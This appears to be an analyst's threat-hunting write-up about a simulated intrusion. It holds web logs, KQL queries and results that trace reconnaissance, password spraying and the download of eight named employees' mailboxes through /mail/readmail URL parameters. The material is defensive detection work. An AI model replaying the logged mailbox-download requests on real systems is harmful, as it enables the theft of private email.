2021-12-28 07:31:02.6690 GET 57.217.134.84 Mozilla/5.0 (Windows NT 6.1; rw-RW; rv:1.9.2.20) Gecko/2010-08-01 23:55:50 Firefox/3.8 http://envolvelabs.com/search?query=Population%20onto%20the%20role%20to%20cover%20them%20without%20costsharing%20this
2021-12-28 07:32:36.2390 GET 57.217.134.84 Mozilla/5.0 (iPad; CPU iPad OS 3_1_3 like Mac OS X) AppleWebKit/536.2 (KHTML, like Gecko) FxiOS/16.1d1100.0 Mobile/82G245 Safari/536.2 http://envolvelabs.com/search?query=One%20study%20estimated%20that%20the%20affordable%20care
2021-12-28 07:33:57.0390 GET 57.217.134.84 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/2020-01-02 13:59:57 Firefox/3.6.14 envolvelabs.com/search?query=In%20medicaid%20programs%20like%20medicare%20coverage%20repurposing%20frequently%20involves
2021-12-28 07:34:07.6680 GET 213.200.127.43 Mozilla/5.0 (Android 1.6; Mobile; rv:63.0) Gecko/63.0 Firefox/63.0 envolvelabs.com/online/online/public/modules?id=jew?type=psychosis?type=forelimbs?type=radiologists?user=stocking?tracking=guarantees?query=lychees?id=mystique?aid=introduction
2021-12-28 07:35:30.8490 GET 213.200.127.43 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/2016-01-21 04:50:45 Firefox/15.0 http://envolvelabs.com/search?query=Nevertheless%20policymakers%20might%20be%20permitted%20for%20therapeutics
2021-12-29 07:31:47.1680 GET 219.0.39.167 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/536.2 (KHTML, like Gecko) FxiOS/15.4g8255.0 Mobile/07I400 Safari/536.2 https://envolvelabs.com/search?query=The%20reduced%20rates%20of%20vaccines%20or%20disappear%20completely
2021-12-29 07:33:47.7380 GET 198.92.221.168 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2; rv:1.9.4.20) Gecko/2019-03-01 03:20:56 Firefox/3.8 https://envolvelabs.com/search?query=Under%20this%20outcome%20it%20clearly%20made%20in%20numerous%20essential%20health
2021-12-30 07:30:53.1990 GET 198.92.221.168 Mozilla/5.0 (iPad; CPU iPad OS 14_2_1 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/13.2u6069.0 Mobile/53R612 Safari/535.2 https://envolvelabs.com/careers/company-culture
2021-12-31 07:34:50.2370 GET 213.200.127.43 Mozilla/5.0 (Windows CE; tl-PH; rv:1.9.1.20) Gecko/2020-06-22 10:23:12 Firefox/3.6.12 http://envolvelabs.com/search?query=Additionally%20states%20are%20entirely%20ineffective%20s%20ordinary%20rules%20similar
2021-12-31 07:35:02.6680 GET 198.92.221.168 Mozilla/5.0 (Windows 95; tg-TJ; rv:1.9.1.20) Gecko/2015-12-21 21:37:21 Firefox/9.0 envolvelabs.com/files/online?user=faster?type=peperoni?source=postal?tracking=editing?user=disapproved?id=dentistry?id=sodomising?id=facing?user=disciplinarian?aid=despicable?id=disapproved
2022-01-01 07:32:23.9670 GET 213.200.127.43 Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_8 like Mac OS X) AppleWebKit/535.0 (KHTML, like Gecko) FxiOS/9.7t9190.0 Mobile/65Z962 Safari/535.0 http://envolvelabs.com/search?query=Congress%20will%20not%20apply%20costsharing%20looking%20ahead%20limited%20claims%20to%20be%20to
2022-01-02 07:30:32.1780 GET 34.24.65.117 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/2019-02-12 14:00:10 Firefox/3.8 envolvelabs.com/search?query=While%20the%20prospect%20of%20global%20citizen%20and%20manufacturing
2022-01-02 07:32:05.4590 GET 223.80.243.56 Mozilla/5.0 (Windows CE; nhn-MX; rv:1.9.2.20) Gecko/2020-07-15 17:02:28 Firefox/7.0 envolvelabs.com/search?query=As%20described%20above%20and%20therapeutic%20benefits%20this%20may%20cause%20insurers
2022-01-02 07:34:25.2890 GET 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 10_3_3 like Mac OS X) AppleWebKit/534.0 (KHTML, like Gecko) FxiOS/11.4l7995.0 Mobile/60V069 Safari/534.0 http://envolvelabs.com/careers/internships
2022-01-04 21:04:29.4090 GET 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 14_2_1 like Mac OS X) AppleWebKit/531.2 (KHTML, like Gecko) FxiOS/16.9b6583.0 Mobile/62M258 Safari/531.2 http://envolvelabs.com/mail/readmail?login_user=cadornier%40envolvelabs.com&mailbox_folder=Invoices&download=true&output=messages.7z
2022-01-05 10:53:59.4090 GET 223.80.243.56 Mozilla/5.0 (Android 2.2; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0 https://envolvelabs.com/mail/readmail?login_user=sacombs%40envolvelabs.com&mailbox_folder=Invoices&download=true&output=email.7z
2022-01-07 03:50:27.5180 GET 223.80.243.56 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_12_1; rv:1.9.4.20) Gecko/2014-10-11 08:13:05 Firefox/3.8 https://envolvelabs.com/mail/readmail?login_user=damartin%40envolvelabs.com&mailbox_folder=Sent%20Mail&download=true&output=email.gzip
2022-01-08 06:12:26.3880 GET 223.80.243.56 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/534.2 (KHTML, like Gecko) FxiOS/18.3u0173.0 Mobile/26A582 Safari/534.2 http://envolvelabs.com/mail/readmail?login_user=maferris%40envolvelabs.com&mailbox_folder=Deleted%20Mail&download=true&output=contents.zip
2022-01-08 20:21:03.1890 GET 223.80.243.56 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_5; rv:1.9.3.20) Gecko/2022-01-28 21:37:10 Firefox/3.6.14 http://envolvelabs.com/mail/readmail?login_user=blwelsh%40envolvelabs.com&mailbox_folder=Deleted%20Mail&download=true&output=messages.zip
2022-01-09 07:13:26.3880 GET 223.80.243.56 Mozilla/5.0 (Windows CE; wae-CH; rv:1.9.0.20) Gecko/2013-06-07 17:07:40 Firefox/3.8 http://envolvelabs.com/mail/readmail?login_user=jotalley%40envolvelabs.com&mailbox_folder=Inbox&download=true&output=email.7z
2022-01-10 06:07:12.3670 GET 223.80.243.56 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/2017-12-31 06:35:31 Firefox/3.6.8 http://envolvelabs.com/mail/readmail?login_user=mapatterson%40envolvelabs.com&mailbox_folder=Inbox&download=true&output=contents.zip
2022-01-10 11:51:36.3080 GET 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 5_1_1 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/18.2d6774.0 Mobile/28Z095 Safari/535.2 http://envolvelabs.com/mail/readmail?login_user=erwilson%40envolvelabs.com&mailbox_folder=Invoices&download=true&output=messages.gzip

The threat actor's recon activities span between Dec. 28th 2021 to Jan. 2 2022; besides strangely nonsensical search terms, the threat actor looked at the "Careers" and "Internships" pages. Most worryingly, on Jan. 10 2022, there's evidence of exfiltration from various employee email accounts. I used this query to better isolate this information:

let bad_domain =
PassiveDns
| where ip == "223.80.243.56"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain in (bad_domain)
| distinct ip;
InboundBrowsing
| where src_ip in (bad_ips)
| extend affected_user = tostring(parse_url(url_decode(url)).['Query Parameters'].["login_user"])
| extend affected_folder = tostring(parse_url(url_decode(url)).['Query Parameters'].["mailbox_folder"])
| extend exfil = tostring(parse_url(url_decode(url)).['Query Parameters'].["output"])
| where isnotempty(affected_folder) and isnotempty(affected_user) and isnotempty(exfil)
Query Results
affected_user affected_folder exfil
cadornier@envolvelabs.com Invoices messages.7z
sacombs@envolvelabs.com Invoices email.7z
damartin@envolvelabs.com Sent Mail email.gzip
maferris@envolvelabs.com Deleted Mail contents.zip
blwelsh@envolvelabs.com Deleted Mail messages.zip
jotalley@envolvelabs.com Inbox email.7z
mapatterson@envolvelabs.com Inbox contents.zip
erwilson@envolvelabs.com Invoices messages.gzip

The employees are:

  • Human Resources associate Margaret Ferris
  • Marketing associate Joseph Talley
  • Finance associate Erica Wilson
  • Finance associate Mariana Patterson
  • IT associate Blake Welsh
  • Trial Administrator Catherine Dornier
  • Trial Administrator Sarah Combs
  • Trial Administrator David Martin

In light of this activity, perhaps it would be for the best to check AuthenticationEvents for any suspicious failed logins.

AuthenticationEvents
| where src_ip !startswith "192.168." //filter out internal corporate IPs
and result =~ "failed login"

This results in 1,331 failed login attempts from external IP addresses; a brief skim shows that the attackers tried a single password multiple times across multiple accounts and rotated through them. Since such a table is too unweildy to analyze properly, I decided to append summarize by count(), like this:

AuthenticationEvents
| where src_ip !startswith "192.168."
and result =~ "failed login"
| summarize count() by password_hash
| sort by count_
Query Results
password_hash count_
e1021a36-43b7-d2c9-0a3e-bccfd5618b2f 48
23801da8-3586-2cbf-5040-ef9f2d620ec9 46
8d2371cb-78cd-2df6-9424-d82cdb5c7afd 45
c882f907-8fec-d0dc-e089-575e39875659 45
6183855a-18c7-2d88-279e-28f7dfaf946a 44
06961910-409f-a77f-27f8-9149a2545ada 44
1a594fcb-ac60-6f03-bea6-39dd3fdba026 44
3a8ce3fe-69ff-a7c1-9297-60d8b54b1705 43
bac1ed6a-d1f8-f20e-7bfb-13b54408f587 42
6e1a6a51-4c07-62bc-ded2-57531b0779ff 41
93ca72d4-2f6d-217e-9c4a-e286623832b3 31
2e2fdb12-0a63-dcb8-d8ba-10cc71ca6261 30
e4f19e4c-68a2-9316-0a88-20bd4b48c7b6 30
b83f305c-1bdc-d5fd-5a7a-c0b14dcb4060 28
79066613-caba-c1aa-5ad1-c3de8a44c12c 27
34fc9efd-66ec-bc7f-f285-ce52518dbf21 10
e0e03851-2f08-59b4-230b-e95c387fd06b 10
0ddbf1e6-ae91-f819-e1c6-b508eff44bf4 10
bc661043-be61-eee1-9686-782c32be1779 10
cd5381f2-ce44-3760-3906-5641a25b0ff3 10
8e03ef14-4413-e1ee-a446-e86707934244 9
b9ab745c-8f8d-c769-32b1-d088e7cbed44 9
713aca93-4643-e44c-9618-fb4bfb6245b7 9
45866393-d68d-cfe2-8dd7-5f662df2049c 8
5672cb86-d1e6-34a3-8793-3be3447e3576 7
fff3f441-5dff-4531-c459-8ff3f0e8b551 3
99834243-d829-b282-0cfe-1c23553ddf85 3
9f57fd46-e6a3-81fa-b411-aee93eadf1ae 3
53893ff1-996f-592e-548b-058f8853785d 2
b6d700b8-e707-9bce-73f7-62e5452abee6 2
ef30ed16-1ece-07c7-f69c-d36075bbb131 2
df7288e3-b5a1-3d13-dc15-640a68d341f6 2
b08ed99d-0fab-4cda-8812-76d020d8c534 2
1a3b5d38-167d-e569-bdaa-e3bee68eba1d 2
2486dfe4-b9f8-2e70-b42d-1a7848e7d98b 2
727680b6-78ce-3fc1-fa0d-96e11d2d254c 2
576e6939-2972-e572-a536-8f420231b2d3 2
667af57b-4c77-227a-c328-d21e6c64cf03 2
7910b9d0-0166-b6e3-5349-203b57d9775f 2
440522f1-4d57-fa98-2c77-98f3242bcc2a 2
218b8a49-dc2e-56eb-506e-b0f43071b8b4 2
9db7c3cc-b1a5-e1f4-3c16-6eceb067c7e2 2
8f7a4fa9-e277-530a-861b-a65ee20702e9 2
6bfa4cbe-89e3-51d2-8ba8-454eb0e71bf3 2
542952f9-2b8f-0271-a375-8dc39e39fb35 2
b6289881-410d-d47f-26c1-818ba1c38822 2
de0e1087-0d60-8018-6b1a-afe71c2a02de 2
daf0e78a-55f0-1dda-b1d2-e4f9669b4b78 2
d84f23f0-64e0-a612-7e5d-d9af3aac0bb8 2
c29aa22d-9385-4b4d-a466-b2fec48968f9 2
f8010fe4-ff76-1436-6268-80812f05cbee 2
830b0657-22ba-35df-be57-7644cca64753 2
e61f9733-ba97-2c5c-1154-debc741e8208 2
f7d769f9-7875-1289-b07a-7cfa776c5067 2
606e9aa2-5038-c7fd-bab6-fdcd21c94a44 2
9c59b541-cb10-a216-a762-295e853e402a 2
f20ec4b3-7064-34ad-22c0-9d1260e23eff 2
76a98a0d-f631-3c88-0462-4760cc565b53 2
ca0e4b19-ea62-483a-98d0-6e7b1e0a1a35 2
242384f7-f3f3-fe7e-02d6-88e4c7cca93d 2
ec352b58-74b4-840f-8faa-00e57fb44efa 2
51d2b171-7252-6564-6f35-1d16571b4c7c 2
5b19b52b-120d-8ff3-5269-fa96c0532e92 1
9a90b20e-425d-c534-f874-0651a9647145 1
990c8d3b-ceec-a8e7-772f-e966dc5bfc58 1
848325ee-ac76-ff65-0aa1-c5ca2f53cbf9 1
3c8b4c01-fae1-a17f-0ce0-ddf48fc96591 1
e1cb6920-a45b-388b-a52e-e258c8cb7d93 1
8fabe9a2-a2d0-58ec-9204-f065975c34a2 1
4c118b62-d27b-e6dc-2c57-89f31a0062a3 1
946ba6f7-a0c4-adb3-c288-21b1d6b77b47 1
7e05454e-3eed-b0e0-9318-6745cc23b431 1
62174d68-2ab8-5797-80de-6599a937a102 1
45a6983a-bdbb-a8f1-d1b9-8150cacab1d4 1
c5ae4eb0-6a65-6512-3106-040ecfb1eaca 1
336db961-004a-b2bb-4c74-a86aa380b8de 1
ce3d67d9-7fac-e2f5-38ea-0ee0a9e411c6 1
52abfe6c-19a2-80a5-88e8-94087bb94bf4 1
17d0d434-809a-bbc8-e72e-a2e3a647840c 1
1a833a82-0199-7359-4bbd-97451fdbd9ed 1
b251b8cb-2049-ded7-cc95-b7d8967b28e4 1
effee0f7-ba0c-44e4-011e-af6067fa53b3 1
4dccfc29-302c-b9ab-7c87-cee7cd6911c8 1
7076c1ee-28e3-2bdb-b919-ab8a7e796d34 1
f3da99a4-5794-1da5-76e5-b674c5a42225 1
e9b109fb-0cc4-56bc-569a-1f9ea1fd9a07 1
7f7eed83-5ea7-c91e-c37c-198ad8c632f0 1
27181f04-66ea-1fb1-d2b2-0be19bb2efb2 1
f8aa086b-65e2-59d0-1b84-bd00d62ee085 1
d28bd9a2-5b13-d92f-7181-6414304eb7ab 1
a6a41f66-5449-be3f-5fb2-20641df7c045 1
8785036c-2b77-3f75-130a-d6bcdfe7d4eb 1
fe7205c8-348e-b59d-981c-53238421e024 1
df212b03-2515-d6e3-f2ca-c09e823377be 1
6b7eba2c-bb7c-0467-b7c1-8579b46ec71d 1
b535f27e-a082-673b-f6bb-17f183ffcf0a 1
1bfbe406-cee8-c16b-dee2-9c4791c93b39 1
b7e8b4ae-a0f5-ec05-5065-8567c071d530 1
8fab54d6-64bb-612e-df10-250a9f55a264 1
aa2e9498-532a-e242-1383-faec250b7008 1
73635e4d-84bf-1172-4a87-42adf3657524 1
94c6bb46-cace-b0cd-ef09-0336224e0f92 1
d0950a2f-e861-9688-6a52-14565f80be16 1
83edcfa4-f144-e1a8-afba-3bd1a79028b8 1
1fb0b1fe-0c8e-78b5-a869-40c74cef4e52 1
66080dad-48c7-1ee3-5e00-04dcde4bae9f 1
5700105f-db51-d85b-c8e1-77647bcc4815 1
bd10a7ec-b902-2f9e-8def-169586612e07 1
b814eb9a-cbd9-9be4-c42f-766ef8d735b5 1
4f755b30-f6b2-73cf-5a57-21a2ff7fa1f2 1
af73ff7d-a7b3-f36d-9611-ff0d163a0b6a 1
69f0331e-8f97-b0b6-3bd4-1fd8a347fc63 1
56c520ed-e128-2fe9-ea4d-53c7e5b2b297 1
a6143f4d-7a8f-5704-8da4-c58a57dfd2bc 1
8bcd12be-588a-f535-300d-44a071a88adb 1
c7ed515a-40ec-54ff-6858-a79baaf57a52 1
6367c86a-ac75-2f58-3226-1c1daad40afb 1
17adcb40-6b04-8ab7-1d29-b7a44a0c0182 1
aee89868-d93c-873c-214b-285e480dd40e 1
95e1705a-5cc2-08c7-c1e0-a6efb65f476a 1
36ec7dc2-7259-809e-42c8-04295f3891ad 1
7817ca22-4a52-52e1-9142-0733ac724e3f 1
13e167a1-70fd-b832-29a2-2c5e83499b3b 1
a8602596-2331-7fee-8bee-e1b7e3287818 1
094eefa0-319a-9efc-0c73-b297381c8922 1
bc2632f1-9728-4a82-5c96-6d302f084ec0 1
d4e0dcb0-e917-7471-fdfe-22896630315c 1
4b598ba7-df48-1131-a840-3666d202aeb3 1
4413d921-72b2-99d4-d83b-122048bf909d 1
9baa0db3-c326-ffe3-12c1-c82ea0a60837 1
d3e40298-3bca-0643-a3b4-a2b163fa5e50 1
4ff08120-1151-d0ed-ac65-ea0187d1c3de 1
2603f348-8c6e-dd4a-7c82-cb9c1e188efe 1
7e4c4911-a071-07e0-357e-a6be18402ba6 1
c42a7c29-f9ef-e77b-2002-113b1f92050d 1
d9c2449c-514a-b433-0daa-666194352079 1
66f8499a-9b5a-a1ca-165c-d5d7ed317237 1
bb106cb0-3b0f-fdcd-3049-20d3f05077e9 1
7fc9c5ea-bf1d-9a53-6bfd-a70ee59f74b8 1
1fb3de59-a5c4-4476-b44a-d165629782d0 1
43170898-5eb9-76c2-a5d3-94de8d8807ec 1
77785a43-3d4d-d5db-fe06-36dcb86b3afd 1
6a1469a7-74b9-6953-feeb-1961b3e1cd77 1
420144e0-94a2-a664-d9ad-65a87b5170a9 1
d4111c5f-9512-3122-2869-bb29a1c2d4e6 1
285f1479-b7d4-c7bc-d686-acb3a4e79539 1
a846df78-8a4b-6571-ba8c-f2890d9712a6 1
d514342f-3a9a-856f-3586-fcb74c26e24e 1
ae9fb67a-5dfb-ec2d-e9f8-8c890f42b913 1
9212e58c-95d2-a520-11cd-9aaf506517bc 1
f592a60b-3892-7ba1-a730-96f5c097079d 1
c320b06e-3d7d-cfa1-1289-ec3b84bdd8eb 1
ec726963-26b5-2c4d-41df-681dbb12b1bd 1
e43ad900-e24a-c873-2be5-f121c16baf10 1
c6f99ed0-e882-bf48-cabe-a18e34230714 1
7475c4ea-6617-2903-fcee-1e00dd3e8c9a 1
d1c13305-86f6-9569-2b6e-87215b158017 1
a4b91200-ad66-24c8-e893-50674abf9a8a 1
f0af4aa2-135e-a06d-b39e-48c7b0a39fd1 1
681eab71-33b8-a15a-dfbe-9347e507cef5 1
799e3f9b-f085-9166-f050-3d88680d35db 1
f592cf37-cb50-7ea2-2474-af1b08b4277a 1
19acfa9d-acee-3100-d4e5-fe7de8a0456f 1
e3a8b55f-1a49-c808-a2f2-75c9beb4aec9 1
3142cfb5-1ee1-e1a3-bb2f-f38c04dc86b0 1
ef22f829-2d50-c685-d0ce-afbf8cf59583 1
101ae0e5-6ff6-7191-5ad0-db349ca237f7 1
004e8bda-d224-7070-86b5-13f2803f5c8c 1
443b92bb-4223-f570-d0cc-9411c624e442 1
73da1b89-8819-b639-91f5-f533e09119f7 1
a484552e-2c0d-884d-4106-f0ad6a97ec32 1
6c2211c4-20a6-076a-ecfc-409c436b409f 1
619fe756-2edf-1d1e-f7c6-cdaa821530a0 1
2dd28b05-aa7b-0fa5-51a6-7d69a47be9f8 1
ba1e5b6a-1790-2e97-ea31-d681f7314bab 1
5e2e0e86-f3a6-0af6-f8d3-e751d43ce27a 1
97ef32b3-5580-dee1-b4a5-3fab6771e719 1
77d4470b-61c8-94dd-1fc6-a26a39fbec32 1
1445f096-d7e2-0179-0eb9-a53cfa8c7874 1
0935106d-fab2-1aa0-a8f9-e685065aa7b4 1
eec1b55c-436a-db00-d084-b18e7e89c007 1
45a83ce0-fe82-9d15-6309-d26f0c3c45d3 1
24c86e7f-9ce6-4803-bcf7-da931271e539 1
0a3d3336-1e8b-cd0c-242a-9b7bac00a1ed 1
4fdaddc0-199d-7922-0ce0-12bfe599f063 1
de62de38-bf51-ae9e-33a9-638345f2c42a 1
a11a435d-0b00-b8dc-93e7-05f9e1a636cd 1
3c063af1-c12a-c614-c2b7-7dc8f5a58800 1
1ea2cf00-bbba-7968-9773-3ee05cfaa931 1
05b1ed76-23ca-e596-417d-d43a9d3a72cb 1
bebb4b61-7567-1734-428e-3f4225ed6cb0 1
bf44dfc7-0c4b-17b9-59a2-bf5b5c726e88 1
6d3b4491-d578-2c8f-331e-d6e32042222c 1
ba8e488a-e778-c22a-2385-6ae799e47c78 1
5209d0aa-17c6-a707-10e6-9567cee609e9 1
04a129d0-7d0e-6aef-9848-132d75a999db 1
1f7e4304-0fc5-3b2d-3ccc-03b5d2c82bca 1
3af97b08-a9e8-78fe-95b7-26d6808ff06b 1
0550914f-1c9f-290f-7717-f88da8228688 1
4eccf25b-d355-6982-5744-1f2c50948a58 1
55de6cad-f7a9-b08a-827c-8ede3a23412d 1
81943d7e-4553-91be-b34f-b3acc123f22a 1
38c288a4-3842-56d9-2e83-973337f986dc 1
aafda997-b930-4ac0-0eeb-afe655f35bf2 1
835510e9-a33a-8c36-60e2-f1cf4c47640d 1
ed003971-226a-89df-8f19-743d4837c219 1
eec0f8e8-6f64-f2af-ba8e-79a8b72e5503 1
ae538d40-c460-a004-b0c9-419a5391c27b 1
67de39fb-ad46-27ad-43af-ca00e123dbfe 1
a44c581d-0f58-ee26-3e3e-572b3e25e2be 1
4069ea85-ef59-9cbe-1ee2-35cf4782db0e 1
1b9db460-7657-d3df-7eae-86edd410c535 1
20268e23-7c4e-1dd5-f4a6-0dad0cfca864 1
57b67ae3-ae47-1c10-37ad-9f14d675c4d5 1
8bfeb85c-da75-6e51-34d6-7226d1c239a5 1
18f85780-ad86-1f72-7cd9-626610f0fcd9 1
b0a225ee-58f8-d446-d607-1a1fa797f256 1
d9863478-de3c-0c31-2031-6713b5c04337 1
dd5f3d96-f1d8-4d46-984f-174c046828f3 1
940cd276-e08f-e1df-b50c-8745ffca75fa 1
d44c7b18-5a5f-ccca-c7e8-59306a077a2b 1
5a0a7b16-50e1-6fbc-6f3c-bcdae0f254c2 1
3fe7b3ba-755d-7438-b44b-5601b0906803 1
90f9d2ea-9240-4165-e347-63b7f7353c2d 1
94bf0729-67df-a297-5420-05ae88c46eb5 1
92aaa95a-b6db-bb72-3cb6-a326a266cefa 1
3fbf9563-8809-f58d-9c0c-7fa03b2d646e 1
572d72d9-c048-1595-eabc-b92f72840c64 1
897354b6-60b3-87b9-84c0-73102ea1c707 1
597906ff-5263-9963-f79d-285c8db2f40f 1
05317a05-c45a-7749-d1bb-37613cdf3292 1
cda8b6ac-f736-ef9c-1fea-aa68a1e116fc 1
9a7cbcbb-3832-0951-dfa2-4d8c084d98a7 1
63dcfbdc-5b36-39dc-1157-e9d70fb6b890 1
5d64221e-a613-7790-2368-e85f4acd1a34 1
58a742b7-21df-b35b-0c66-85b97ca9f644 1
9360bc2d-e9d8-8845-0cb3-cba5b5d2ec13 1
ebac967a-609d-2913-6b3c-77c261c2555f 1
bdc41a1b-ae66-445d-0986-79c2a953b6e6 1
4becf8d9-82d0-62f0-6d96-d0ef5638b22f 1
30165e77-3321-7ae9-f353-4987dec3e4f1 1
5c923ea2-a332-00e4-afe3-918b2e618c67 1
c99048fe-b022-de91-c922-03acfada7008 1
d4787f23-cbcb-b77b-1500-86d5290498fb 1
d7954e6f-510c-615e-f59e-7ac9ab3a7e48 1
2f8bb76e-b622-6870-00a2-e01223c6035f 1
93a36d74-ff68-cbb5-ec7b-7589f10b54a2 1
9847e12a-23e1-d73e-b19a-305d156f8812 1
2399da77-bde8-b3f7-58c5-530aa6ca24ac 1
a60a17f5-9fd7-7a27-2b37-966fe73294d9 1
d7b6f2aa-58ca-44ce-3a5e-8755c418d49f 1
5742cba0-29ab-fd61-e012-b847ac59426b 1
0b1c907a-5a01-c9fd-1544-000d80eef160 1
2d0983d9-7ba4-8988-68aa-10b90233f2a8 1
64ac0243-a31c-9b37-9aad-1cf31dd0db79 1
08df90c7-bd8f-05ea-3f68-c2365d1e740d 1
2aa27fe8-7064-d3ff-e163-968882e8737b 1
b4c979c8-e8ff-2a68-bef3-14697f682a37 1
8e2e8b71-2f9d-fc70-8bb9-15ddd20acf28 1
7b5b89c3-4f65-02df-fd5a-9a032b17428c 1
219f827f-5d12-c4e5-a20e-59f429d5151f 1
72ff30e9-b92f-7034-4972-9ac22061899d 1
ae03b3eb-7294-f042-f48c-a650c6d9d197 1
57b0d77f-2c76-17f4-741e-db2541b2c8a4 1
13537afe-736c-989f-a2d7-78f7af110d31 1
ab655a07-cde0-eca7-fee9-1bbd281b5dad 1
f3b033d1-7aa0-7d87-eb2c-0c0815a035f0 1
b931bb84-85dd-fd37-c3f4-9969574455cb 1
ed9581a8-f05e-c885-bb7b-b178ef882a55 1
6964aad2-4cd9-a14e-8f95-eb35ab5645c0 1
78f13cc2-297b-c5f6-750f-cc6d1a530170 1
f4cf632f-3e40-9343-dde7-77b3c4e39732 1
4513835d-2be6-50f4-25e0-4d18f36b079e 1
20b29e82-a44a-a7a4-ff3e-27105e9b4541 1
3f550a9b-8c97-788a-143c-d38288726679 1
5ae300a2-0616-f440-8b1b-347cba01cfea 1
c27f900e-f1ac-b3b3-628d-b75b81e034b1 1
ed171682-92f2-173e-49c9-c4fc20d2944c 1
f6d63e1d-1b02-47c9-71dd-3794de2563a0 1
ecd6f75c-78a5-a1f4-d299-fe608ee67667 1
44bc74c3-1096-cac5-d67e-4e4d316a7275 1
5af93db2-fa18-c4d5-55e1-f8e6c458dce1 1
64cbb72d-1323-99da-11cd-d1cb0e56b073 1
30421187-d8f1-8784-31e7-d3c25979d894 1
0f08d167-434c-0268-7b1f-920e461c894d 1
3a1de6bf-2eb3-b7b8-a4a1-788769a3287c 1
eb9088d0-2b31-09d8-979c-3c1fdd9f3bbb 1
123376d4-d562-86bf-1bf8-851171e7d3c6 1
ddc33ae4-cda4-74a5-90f3-2b2b8e711fe2 1
43a53608-387d-adb2-689e-ad064fc8a53c 1
1f1b5f5d-9d88-4da0-f0cd-101a30bc876e 1
2cb216cc-c68e-bdb6-6cfc-5a9bef166391 1
20595785-e9a8-e1c6-2bd4-da54cdfe71cb 1
1f6c1c6b-a11b-af30-cc6c-b8b987f944f0 1
481cb0e4-73d2-cae9-9416-2103761c119a 1
7354977b-284c-cc8a-7e34-ad840158fbc6 1
e4bec308-b740-ff66-05f1-9103b3b4a944 1
fc2bdb26-166c-d215-421c-2f84a32a680b 1
24b01475-8575-5438-91f8-200248c583f2 1
ecd60375-4e50-78aa-2849-e8bd66723fd3 1
53466bef-f321-7618-a166-cbfad8a32c43 1
add109df-286d-ac8c-7e27-36dfed61e9f7 1
f3d90e9a-d8d7-c6ad-8605-6ded976622f3 1
4632a974-c961-6177-908a-481640772fc2 1
fccc3902-158e-69c3-f2cc-74abfb283f2f 1
186e97c3-beab-4276-78a9-64f6f9ea0b74 1
4c64b65e-91ef-7984-8b3a-a401d23e8185 1
65982b5d-f5a8-0f93-52db-3d85ee825491 1
77a213ac-1458-cd66-62c2-c4ac79bdeb88 1
bde932bb-c265-f525-7a39-71fd8a3c3008 1
dcdf1374-4798-ac8a-e82b-ae3b67e28591 1
0f0afd3a-a741-b3c5-81c8-ceb8ad12dcc1 1
6bfce364-879d-5d29-a100-3a04bb00f9fc 1
698df26f-7ce8-c537-6954-8640dc871554 1
bd43ddae-1595-ff55-ea43-703df735eb1a 1
d24528d5-a992-2e48-52bc-c5f12b7aaf04 1
c412b87b-1693-efe7-9584-273ac0fac127 1
98221ca2-dcb3-8a73-80f4-d1e838651226 1
384f5602-fab2-f6b7-3c4e-da1715782bdf 1
467b7ec0-e986-ebc3-f26b-911dd0424a34 1
5d2914b8-a9d8-1575-05b1-32fa3c0dfc9b 1
763e845a-550d-4007-1da6-c59c2d81b84c 1
932c842c-0ba9-ca16-3b7b-1bb3b74390b1 1
3cb9bc40-2da9-37ff-c07b-d2a94c7c2e07 1
cda89b65-a7c2-d29d-8ee2-9203895e9a23 1
6122c1f6-3eba-c841-dde4-e0be1e66fde7 1
3be43d8a-c2e7-7cf0-55a6-18d7d3720f22 1
a68d92ea-3506-eef3-2e84-cd947a760404 1
5b54db5a-65f8-bf7b-5de0-a3f4ec27babf 1
f2d91355-2dae-f5fd-4851-2394af5a713e 1
7520ea6d-eee9-3da5-7e45-f1c00b987ac3 1
8816277e-2f3d-dbc1-f090-cb210cfd1ac6 1
7bdea676-a2e8-7480-26a2-049163d9fa5d 1
86ba7dd2-e6b0-6139-0e25-e01d1f94485d 1
59ad25b2-f564-0933-b548-0631e37fe899 1
27a88cd7-a23b-851e-3336-246e44ea0b94 1
92cd39e3-533a-c2c9-6c66-2614ddbe72d8 1
7134b491-da03-e2d8-8132-1b58f1ab5a1c 1
ac03402f-480f-155f-e6ab-ab4f6fb2d646 1
d2564fd8-489d-b141-132f-a6956eeb0918 1
5a0fd34e-dac0-6d47-9fcf-c85744499ad6 1
58837500-6be5-d185-04d4-67a287991b99 1
b05d2218-7094-d6f8-4383-f90f6ffac0ff 1
0d99b7a2-4bb1-70ce-f3df-9f6e044f3378 1
321889ac-7bdc-7e50-f723-71ae372eb191 1
3a48eba7-a085-314f-1758-9334f4c3219e 1
72cd7991-c6cb-da22-ae27-9a9c645535a6 1
1d11b091-6576-3c64-865b-5bb7c90bf716 1
02d0b4a1-f8b2-3a47-fc6d-2475dc488c7d 1
5832bd1a-912a-4451-7349-1f441750f073 1
004cfc5e-7436-42e4-e8db-34f929920323 1
58798e79-38e7-bf40-7156-f8a2e869c3ff 1
4510b3d0-fb13-4e69-fdb0-5fa5efe07a83 1
9fa5b9ed-8af6-423b-f1c7-4f1526b2a587 1
66264278-048c-ff85-8593-73acafb734e0 1
5f1a0dbd-84cb-a926-a104-689e573d8dc6 1
aae1f23d-a824-09fa-6153-620904f00062 1
184fa3a9-02b6-ef6c-6143-02322b5688bb 1
ae85f6a3-425c-3f27-6be8-8f2dad4def2e 1
c0e4dffc-f82f-caea-2c1b-b7e7ce4772c1 1
e3c77ed3-b0f9-37eb-9a91-23d99e631a3c 1
